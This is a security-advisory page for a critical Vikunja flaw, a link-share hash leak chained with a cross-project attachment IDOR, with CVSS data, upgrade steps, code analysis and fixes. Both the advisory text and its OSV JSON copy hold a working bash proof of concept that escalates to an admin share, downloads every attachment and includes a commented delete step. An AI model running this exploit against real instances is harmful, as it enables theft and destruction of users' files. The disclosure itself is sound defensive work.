GHSA-2pv8-4c52-mf8j: Vikunja Unauthenticated Instance-Wide Data Breach Vulnerability
CRITICAL
Advisory Summary
GHSA-2pv8-4c52-mf8j is a CRITICAL (CVSS 9.1) unauthenticated instance-wide data breach vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Vikunja libraries in the Go ecosystem. The issue involves unauthenticated instance-wide data breach via link share hash disclosure chained with cross-project attachment idor. Remediation is available by upgrading affected packages to version 2.2.1.
GHSA-2pv8-4c52-mf8j at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-2pv8-4c52-mf8j
Severity
CRITICAL
CVSS v3.1 Base Score
9.1
CWE Classification
CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product
Vikunja
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix GHSA-2pv8-4c52-mf8j
To remediate this vulnerability, upgrade all affected Vikunja dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
code.vikunja.io/api
fixed: 2.2.1
Upgrade code.vikunja.io/api to 2.2.1
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.vikunja.io/apiHow to Check if You Are Affected
To determine whether your application is affected by GHSA-2pv8-4c52-mf8j, inspect your project dependencies for Vikunja:
inspect dependencies for code.vikunja.io/apiAnalyze the terminal output to locate any version of Vikunja in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Vikunja, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
Two independently-exploitable authorization flaws in Vikunja can be chained to allow an unauthenticated attacker to download and delete every file attachment across all projects in a Vikunja instance. The `ReadAll` endpoint for link shares exposes share hashes (including admin-level shares) to any user with read access, enabling permission escalation. The task attachment `ReadOne`/`GetTaskAttachment` endpoint performs permission checks against a user-supplied task ID but fetches the attachment by its own sequential ID without verifying the attachment belongs to that task, enabling cross-project file access.
## Details
### Vulnerability 1: Link Share Hash Disclosure (Permission Escalation Entry Point)
Tracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9
The `LinkSharing.ReadAll()` method in `pkg/models/link_sharing.go:228-287` returns all link shares for a project, including the `Hash` field:
```go
// pkg/models/link_sharing.go:46-50
type LinkSharing struct {
ID int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"share"`
Hash string `xorm:"varchar(40) not null unique" json:"hash" param:"hash"` // ← exposed in JSON
// ...
}
```
The ReadAll clears passwords but not hashes:
```go
// pkg/models/link_sharing.go:272-277
for _, s := range shares {
if sharedBy, has := users[s.SharedByID]; has {
s.SharedBy = sharedBy
}
s.Password = "" // ← password cleared, but hash remains
}
```
A link share user with read-only access can call `GET /api/v1/projects/:project/shares` (routed at `pkg/routes/routes.go:483`) to discover all shares, then authenticate with an admin-level share hash.
### Vulnerability 2: Cross-Project Attachment IDOR (Data Exfiltration)
Tracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2
The `GetTaskAttachment` handler in `pkg/routes/api/v1/task_attachment.go:156-186` performs the permission check against the task ID supplied in the URL:
```go
// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
t := &Task{ID: ta.TaskID} // ← ta.TaskID from URL parameter
return t.CanRead(s, a) // ← checks if user can read THIS task
}
```
But `ReadOne` fetches the attachment by its own ID, ignoring the task:
```go
// pkg/models/task_attachment.go:110-111
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
exists, err := s.Where("id = ?", ta.ID).Get(ta) // ← fetches by attachment ID only
// ta.TaskID is now overwritten with the ACTUAL task ID from the database
// But the permission check already passed using the attacker-controlled task ID
```
This means: specify a task you CAN access, but an attachment ID from a different project → permission check passes, wrong attachment is returned.
### The Chain
```
Link share URL (public)
→ POST /shares/{hash}/auth (get JWT)
→ GET /projects/{id}/shares (discover admin share hash)
→ POST /shares/{admin_hash}/auth (escalate to admin)
→ GET /projects/{id}/tasks (find any accessible task ID)
→ GET /tasks/{accessible_task}/attachments/{1..N} (enumerate ALL attachments)
→ DELETE /tasks/{accessible_task}/attachments/{1..N} (destroy ALL attachments)
```
## PoC
**Prerequisites:** A Vikunja instance with at least one link share (any permission level). The attacker only needs the link share URL.
```bash
VIKUNJA="http://localhost:3456/api/v1"
# Step 1: Authenticate with a known read-only link share hash
# (Link share URLs look like: https://instance/share/HASH_HERE)
SHARE_HASH="read-only-share-hash"
TOKEN=$(curl -s -X POST "$VIKUNJA/shares/$SHARE_HASH/auth" \
-H "Content-Type: application/json" \
-d '{}' | jq -r '.token')
echo "Got JWT: $TOKEN"
# Step 2: Discover all link shares for the project (including admin shares)
PROJECT_ID=1 # from the link share JWT claims
SHARES=$(curl -s "$VIKUNJA/projects/$PROJECT_ID/shares" \
-H "Authorization: Bearer $TOKEN")
echo "All shares exposed:"
echo "$SHARES" | jq '.[].hash' # All hashes visible, including admin shares
# Step 3: Escalate to admin if available
ADMIN_HASH=$(echo "$SHARES" | jq -r '.[] | select(.permission == 2) | .hash' | head -1)
if [ -n "$ADMIN_HASH" ]; then
TOKEN=$(curl -s -X POST "$VIKUNJA/shares/$ADMIN_HASH/auth" \
-H "Content-Type: application/json" \
-d '{}' | jq -r '.token')
echo "Escalated to admin share: $ADMIN_HASH"
fi
# Step 4: Get a task ID we can legitimately access
TASK_ID=$(curl -s "$VIKUNJA/projects/$PROJECT_ID/tasks" \
-H "Authorization: Bearer $TOKEN" | jq '.[0].id')
echo "Using accessible task: $TASK_ID"
# Step 5: Exploit attachment IDOR - enumerate ALL attachments across ALL projects
for ATTACHMENT_ID in $(seq 1 100); do
RESP=$(curl -s -o /tmp/attachment_$ATTACHMENT_ID -w "%{http_code}" \
"$VIKUNJA/tasks/$TASK_ID/attachments/$ATTACHMENT_ID" \
-H "Authorization: Bearer $TOKEN")
if [ "$RESP" = "200" ]; then
echo "Downloaded attachment $ATTACHMENT_ID (from ANY project): /tmp/attachment_$ATTACHMENT_ID"
fi
done
# Step 6 (destructive, with admin share): Delete attachments from other projects
# curl -s -X DELETE "$VIKUNJA/tasks/$TASK_ID/attachments/$TARGET_ATTACHMENT_ID" \
# -H "Authorization: Bearer $TOKEN"
```
## Impact
**Confidentiality (HIGH):** An attacker with a single publicly-shared link share URL can download every file attachment across all projects in the Vikunja instance. Attachment IDs are sequential integers, making enumeration trivial. This includes confidential documents, images, and any files uploaded by any user in any project.
**Integrity (HIGH):** With the permission escalation from read-only to admin (via hash disclosure), the attacker can delete attachments from any project, causing data loss across the entire instance.
**Attack prerequisites are minimal:** Link shares are designed to be publicly shared — they're the mechanism for sharing projects with external collaborators. A single leaked or intentionally-shared link share URL (even read-only) is sufficient to compromise all file attachments instance-wide.
**Blast radius:** Every project, every task, every file attachment on the instance is exposed regardless of project membership, team boundaries, or access controls.
## Recommended Fix
**Fix 1 — Link Share Hash Disclosure:** Clear the hash field in ReadAll responses:
```go
// pkg/models/link_sharing.go — in ReadAll loop (~line 272)
for _, s := range shares {
if sharedBy, has := users[s.SharedByID]; has {
s.SharedBy = sharedBy
}
s.Password = ""
s.Hash = "" // ← ADD THIS: never expose hashes to other share holders
}
```
**Fix 2 — Attachment IDOR:** Verify the attachment belongs to the specified task in both ReadOne and the download handler:
```go
// pkg/models/task_attachment.go — ReadOne
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
exists, err := s.Where("id = ? AND task_id = ?", ta.ID, ta.TaskID).Get(ta)
// ^^^^^^^^^^^^^^ ADD: verify task ownership
if err != nil {
return
}
// ...
}
```
Both fixes should be applied — the attachment IDOR is exploitable independently by any authenticated user, and the link share hash disclosure enables permission escalation even without the attachment bug.
GHSA-2pv8-4c52-mf8j Affected Vikunja Versions
1 component(s)
Fixed Versions:
2.2.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.vikunja.io/api
|
Go |
< 2.2.1
|
2.2.1
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2pv8-4c52-mf8j
GitHub Advisory / Wiki
ADVISORY
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9
GitHub Advisory / Wiki
ADVISORY
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2
Vikunja Source Repository
REPOSITORY
https://github.com/go-vikunja/vikunja
Vikunja Release
RELEASE
https://vikunja.io/changelog/vikunja-v2.2.2-was-released
Frequently Asked Questions
What is GHSA-2pv8-4c52-mf8j?
GHSA-2pv8-4c52-mf8j is a security vulnerability in Vikunja involving Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Vikunja versions are affected?
Affected versions include releases prior to 2.2.1 across affected packages: code.vikunja.io/api.
What version fixes GHSA-2pv8-4c52-mf8j?
Upgrading to 2.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.2.1. Upgrade your dependency to 2.2.1 or later.
What is the CVSS score of GHSA-2pv8-4c52-mf8j?
GHSA-2pv8-4c52-mf8j has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-2pv8-4c52-mf8j?
GHSA-2pv8-4c52-mf8j is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Go dependencies for GHSA-2pv8-4c52-mf8j?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-2pv8-4c52-mf8j",
"modified" : "2026-03-26T16:56:24Z",
"published" : "2026-03-26T16:56:24Z",
"aliases" : [ ],
"summary" : "Vikunja: Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR",
"details" : "## Summary\n\nTwo independently-exploitable authorization flaws in Vikunja can be chained to allow an unauthenticated attacker to download and delete every file attachment across all projects in a Vikunja instance. The `ReadAll` endpoint for link shares exposes share hashes (including admin-level shares) to any user with read access, enabling permission escalation. The task attachment `ReadOne`/`GetTaskAttachment` endpoint performs permission checks against a user-supplied task ID but fetches the attachment by its own sequential ID without verifying the attachment belongs to that task, enabling cross-project file access.\n\n## Details\n\n### Vulnerability 1: Link Share Hash Disclosure (Permission Escalation Entry Point)\n\nTracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9\n\nThe `LinkSharing.ReadAll()` method in `pkg/models/link_sharing.go:228-287` returns all link shares for a project, including the `Hash` field:\n\n```go\n// pkg/models/link_sharing.go:46-50\ntype LinkSharing struct {\n ID int64 `xorm:\"bigint autoincr not null unique pk\" json:\"id\" param:\"share\"`\n Hash string `xorm:\"varchar(40) not null unique\" json:\"hash\" param:\"hash\"` // ← exposed in JSON\n // ...\n}\n```\n\nThe ReadAll clears passwords but not hashes:\n```go\n// pkg/models/link_sharing.go:272-277\nfor _, s := range shares {\n if sharedBy, has := users[s.SharedByID]; has {\n s.SharedBy = sharedBy\n }\n s.Password = \"\" // ← password cleared, but hash remains\n}\n```\n\nA link share user with read-only access can call `GET /api/v1/projects/:project/shares` (routed at `pkg/routes/routes.go:483`) to discover all shares, then authenticate with an admin-level share hash.\n\n### Vulnerability 2: Cross-Project Attachment IDOR (Data Exfiltration)\n\nTracked in https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2\n\nThe `GetTaskAttachment` handler in `pkg/routes/api/v1/task_attachment.go:156-186` performs the permission check against the task ID supplied in the URL:\n\n```go\n// pkg/models/task_attachment_permissions.go:25-28\nfunc (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {\n t := &Task{ID: ta.TaskID} // ← ta.TaskID from URL parameter\n return t.CanRead(s, a) // ← checks if user can read THIS task\n}\n```\n\nBut `ReadOne` fetches the attachment by its own ID, ignoring the task:\n\n```go\n// pkg/models/task_attachment.go:110-111\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n exists, err := s.Where(\"id = ?\", ta.ID).Get(ta) // ← fetches by attachment ID only\n // ta.TaskID is now overwritten with the ACTUAL task ID from the database\n // But the permission check already passed using the attacker-controlled task ID\n```\n\nThis means: specify a task you CAN access, but an attachment ID from a different project → permission check passes, wrong attachment is returned.\n\n### The Chain\n\n```\nLink share URL (public)\n → POST /shares/{hash}/auth (get JWT)\n → GET /projects/{id}/shares (discover admin share hash)\n → POST /shares/{admin_hash}/auth (escalate to admin)\n → GET /projects/{id}/tasks (find any accessible task ID)\n → GET /tasks/{accessible_task}/attachments/{1..N} (enumerate ALL attachments)\n → DELETE /tasks/{accessible_task}/attachments/{1..N} (destroy ALL attachments)\n```\n\n## PoC\n\n**Prerequisites:** A Vikunja instance with at least one link share (any permission level). The attacker only needs the link share URL.\n\n```bash\nVIKUNJA=\"http://localhost:3456/api/v1\"\n\n# Step 1: Authenticate with a known read-only link share hash\n# (Link share URLs look like: https://instance/share/HASH_HERE)\nSHARE_HASH=\"read-only-share-hash\"\n\nTOKEN=$(curl -s -X POST \"$VIKUNJA/shares/$SHARE_HASH/auth\" \\\n -H \"Content-Type: application/json\" \\\n -d '{}' | jq -r '.token')\n\necho \"Got JWT: $TOKEN\"\n\n# Step 2: Discover all link shares for the project (including admin shares)\nPROJECT_ID=1 # from the link share JWT claims\n\nSHARES=$(curl -s \"$VIKUNJA/projects/$PROJECT_ID/shares\" \\\n -H \"Authorization: Bearer $TOKEN\")\n\necho \"All shares exposed:\"\necho \"$SHARES\" | jq '.[].hash' # All hashes visible, including admin shares\n\n# Step 3: Escalate to admin if available\nADMIN_HASH=$(echo \"$SHARES\" | jq -r '.[] | select(.permission == 2) | .hash' | head -1)\n\nif [ -n \"$ADMIN_HASH\" ]; then\n TOKEN=$(curl -s -X POST \"$VIKUNJA/shares/$ADMIN_HASH/auth\" \\\n -H \"Content-Type: application/json\" \\\n -d '{}' | jq -r '.token')\n echo \"Escalated to admin share: $ADMIN_HASH\"\nfi\n\n# Step 4: Get a task ID we can legitimately access\nTASK_ID=$(curl -s \"$VIKUNJA/projects/$PROJECT_ID/tasks\" \\\n -H \"Authorization: Bearer $TOKEN\" | jq '.[0].id')\n\necho \"Using accessible task: $TASK_ID\"\n\n# Step 5: Exploit attachment IDOR - enumerate ALL attachments across ALL projects\nfor ATTACHMENT_ID in $(seq 1 100); do\n RESP=$(curl -s -o /tmp/attachment_$ATTACHMENT_ID -w \"%{http_code}\" \\\n \"$VIKUNJA/tasks/$TASK_ID/attachments/$ATTACHMENT_ID\" \\\n -H \"Authorization: Bearer $TOKEN\")\n\n if [ \"$RESP\" = \"200\" ]; then\n echo \"Downloaded attachment $ATTACHMENT_ID (from ANY project): /tmp/attachment_$ATTACHMENT_ID\"\n fi\ndone\n\n# Step 6 (destructive, with admin share): Delete attachments from other projects\n# curl -s -X DELETE \"$VIKUNJA/tasks/$TASK_ID/attachments/$TARGET_ATTACHMENT_ID\" \\\n# -H \"Authorization: Bearer $TOKEN\"\n```\n\n## Impact\n\n**Confidentiality (HIGH):** An attacker with a single publicly-shared link share URL can download every file attachment across all projects in the Vikunja instance. Attachment IDs are sequential integers, making enumeration trivial. This includes confidential documents, images, and any files uploaded by any user in any project.\n\n**Integrity (HIGH):** With the permission escalation from read-only to admin (via hash disclosure), the attacker can delete attachments from any project, causing data loss across the entire instance.\n\n**Attack prerequisites are minimal:** Link shares are designed to be publicly shared — they're the mechanism for sharing projects with external collaborators. A single leaked or intentionally-shared link share URL (even read-only) is sufficient to compromise all file attachments instance-wide.\n\n**Blast radius:** Every project, every task, every file attachment on the instance is exposed regardless of project membership, team boundaries, or access controls.\n\n## Recommended Fix\n\n**Fix 1 — Link Share Hash Disclosure:** Clear the hash field in ReadAll responses:\n\n```go\n// pkg/models/link_sharing.go — in ReadAll loop (~line 272)\nfor _, s := range shares {\n if sharedBy, has := users[s.SharedByID]; has {\n s.SharedBy = sharedBy\n }\n s.Password = \"\"\n s.Hash = \"\" // ← ADD THIS: never expose hashes to other share holders\n}\n```\n\n**Fix 2 — Attachment IDOR:** Verify the attachment belongs to the specified task in both ReadOne and the download handler:\n\n```go\n// pkg/models/task_attachment.go — ReadOne\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n exists, err := s.Where(\"id = ? AND task_id = ?\", ta.ID, ta.TaskID).Get(ta)\n // ^^^^^^^^^^^^^^ ADD: verify task ownership\n if err != nil {\n return\n }\n // ...\n}\n```\n\nBoth fixes should be applied — the attachment IDOR is exploitable independently by any authenticated user, and the link share hash disclosure enables permission escalation even without the attachment bug.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.vikunja.io/api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.2.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.2.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2pv8-4c52-mf8j"
}, {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8hp8-9fhr-pfm9"
}, {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-vikunja/vikunja"
}, {
"type" : "WEB",
"url" : "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-26T16:56:24Z",
"nvd_published_at" : null
}
}